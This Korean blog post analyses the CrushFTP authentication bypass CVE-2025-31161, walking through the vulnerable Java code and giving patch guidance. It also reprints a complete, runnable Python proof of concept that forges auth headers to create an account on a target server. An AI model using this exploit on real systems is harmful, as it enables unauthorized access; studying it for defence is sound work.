취약점/By-Pass

CrushFTP 인증 우회 취약점 (CVE-2025-31161)

임꼰대 2025. 4. 26. 15:39

1. CrushFTP

- 파일 전송 솔루션

2. CVE-2025-31161

[사진 1] CVE-2025-31161 [2]

- CrushFTP의 파라미터 오버로딩으로 인한 인증 우회 취약점 (CVSS: 9.8) [3][4]

영향받는 버전
- CrushFTP 11.0.0 ≤ 11.3.0 / 10.0.0 ≤ 11.8.3

 

- CrushFTP는 버전 10부터 AWS S3와 호환되는 API를 제공

> 클라이언트가 Authorization 헤더를 포함하는 요청을 통해 S3 인증을 진행

> 서버는 AccessKey 값을 추출해 사용자를 식별한 다음 Signature 값을 검증해 인증을 수행

Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>

 

- 취약점은 ServerSessionHTTP.java의 loginCheckHeaderAuth() 메서드에서 발생

> 해당 메서드는 사용자가 S3 스타일의 API를 요청했을 때 헤더의 Authorization 헤더를 처리

> 아래 코드에서 lookup_user_pass

① true인 경우 내부 저장소에서 비밀번호를 찾고

② false인 경우 제공된 비밀번호를 사용해야 하는지를 표시하는 값

> 또한 해당 값은 login_user_pass()의 첫 번째 매개변수로 전달

if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
    this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
    
    // Extract the username from credential field
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
    
    // Initialize variables
    String user_pass = null;
    String user_name = s3_username3;
    boolean lookup_user_pass = true;  // Default to true - this is crucial!
    
    // Check if username contains a tilde
    if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
    
    // In version 11.3.0, there's no security check here
    
    // Attempt to authenticate the user
    if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
        // Authentication succeeds
    }
}

 

- login_user_pass()에서 전달된 lookup_user_pass는 anyPass로 사용됨

> anyPass 값은 verified_user 함수를 호출하는데 인수로 사용

※ 코드 문맥 상 anyPass는 로그인을 시도하는 계정에 대해 서버가 임의의 비밀번호를 받아들여야 하는지 여부를 결정하는 변수로 판단됨 (비밀번호가 아직 설정되지 않았거나, 비밀번호가 필요하지 않은 사용자인 경우 등)

// Inside SessionCrush.java
public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception {
    // Various validations and logging happen here
    
    if (user_name.length() <= 2000) {
        int length = user_pass.length();
        ServerStatus serverStatus = ServerStatus.thisObj;
        if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) {
            Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name));
            uiPUT("last_logged_command", "USER");
            
            // Numerous other checks and validations
            
            // Eventually we call verify_user with the anyPass parameter
            boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin);
            
            if (verified && this.user != null) {
                // Authentication success handling
                return true;
            }
        }
    }
    
    return false;
}

 

- verify_user()는 anyPass 매개변수를 사용해 UserTools.ut.verify_user() 호출

// Inside SessionCrush.java
public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) {
    // Various user validation and formatting logic
    
    // The anyPass value is passed to the UserTools.ut.verify_user method
    this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, 
        uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), 
        uiIG("user_port"), this.server_item, loginReason, anyPass);
    
    // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure
    if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) {
        this.user_info.put("plugin_user_auth_info", "Password incorrect.");
    }
    
    // Various other checks and return logic
    return this.user != null;
}

 

- UserTools.ut.verify_user()에서 anyPass=True이고, 특정 username인 경우 인증을 우회하여 로그인 가능

// Inside UserTools.java
public Properties verify_user(
    ServerStatus server_status_frame,
    String the_user,
    String the_password,
    String serverGroup,
    SessionCrush thisSession,
    int user_number,
    String user_ip,
    int user_port,
    Properties server_item,
    Properties loginReason,
    boolean anyPass
) {
    // User lookup and validation logic
    Properties user = this.getUser(serverGroup, the_user, true);
    
    // Here's the critical vulnerability:
    // If anyPass is true, password verification is skipped entirely
    if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
        return user;  // Authentication succeeds without any password check
    }
    
    // Otherwise normal password verification occurs
    if (user.getProperty("username").equalsIgnoreCase(the_user) && 
        check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) {
        return user;
    }
    
    // Authentication fails
    return null;
}

 

- 공격자는 다음과 같은 요청을 통해 인증 우회 가능

① 경로: &c2f={} // 쿠키 헤더값과 동일하게 구성

② Cookie헤더: CrushAuth키 값을 {13자리랜덤숫자}{30자리_랜덤값}{c2f} 구성

③ Authorization 헤더: AWS4-HMAC-SHA256 Credentail={username}/

[사진 2] 과정 요약
[사진 3] 공격 예시

3. PoC [5]

# Copyright (C) 2025 Kev Breen,Ben McCarthy Immersive
# https://github.com/Immersive-Labs-Sec/CVE-2025-31161
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import requests
from argparse import ArgumentParser


def exploit(target_host, port, target_user, new_user, password):
    print("[+] Preparing Payloads")
    
    # First request details
    warm_up_url = f"http://{target_host}:{port}/WebInterface/function/"
    create_user_url = f"http://{target_host}:{port}/WebInterface/function/"


    headers = {
        "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If",
        "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/",
        "Connection": "close",
    }

    payload = {
        "command": "setUserItem",
        "data_action": "replace",
        "serverGroup": "MainUsers",
        "username": new_user,
        "user": f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',
        "xmlItem": "user",
        "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',
        "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',
        "c2f": "31If"
    }

    # Execute requests sequentially
    print("  [-] Warming up the target")
    # we jsut fire a request and let it time out. 
    try:
        warm_up_request = requests.get(warm_up_url, headers=headers, timeout=20)
        if warm_up_request.status_code == 200:
            print("  [-] Target is up and running")
    except requests.exceptions.ConnectionError:
        print("  [-] Request timed out, continuing with exploit")


    print("[+] Sending Account Create Request")
    create_user_request = requests.post(create_user_url, headers=headers, data=payload)
    if create_user_request.status_code != 200:
        print("  [-] Failed to send request")
        print("  [+] Status code:", create_user_request.status_code)
    if '<response_status>OK</response_status>' in create_user_request.text:
        print("  [!] User created successfully")



if __name__ == "__main__":
    parser = ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")
    parser.add_argument("--target_host", help="Target host")
    parser.add_argument("--port", type=int, help="Target port", default=8080)
    parser.add_argument("--target_user", help="Target user", default="crushadmin")
    parser.add_argument("--new_user", help="New user to create", default="AuthBypassAccount")
    parser.add_argument("--password", help="Password for the new user", default="CorrectHorseBatteryStaple")

    args = parser.parse_args()

    if not args.target_host:
        print("  [-] Target host not specified")
        parser.print_help()
        exit(1)

    exploit(
        target_host=args.target_host,
        port=args.port,
        target_user=args.target_user,
        new_user=args.new_user,
        password=args.password
    )

    print(f"[+] Exploit Complete you can now login with\n   [*] Username: {args.new_user}\n   [*] Password: {args.password}.")

4. 대응방안

- 벤더사 제공 업데이트 적용 [6][7]

> lookup_password 기능 비활성화
> Authorization 헤더 내 Credential 키 값 구성 검증
> 인증 로직 변경

제품명 영향받는 버전 해결 버전
CrushFTP 11.0.0 이상 ~ 11.3.0 이하 11.3.1
10.0.0 이상 ~ 10.8.3 이하 10.8.4

5. 참고

[1] https://www.crushftp.com/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-31161
[3] https://projectdiscovery.io/blog/crushftp-authentication-bypass
[4] https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis
[5] https://github.com/Immersive-Labs-Sec/CVE-2025-31161
[6] https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
[7] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71705
[8] https://hackyboiz.github.io/2025/04/19/empty/CVE-2025-31161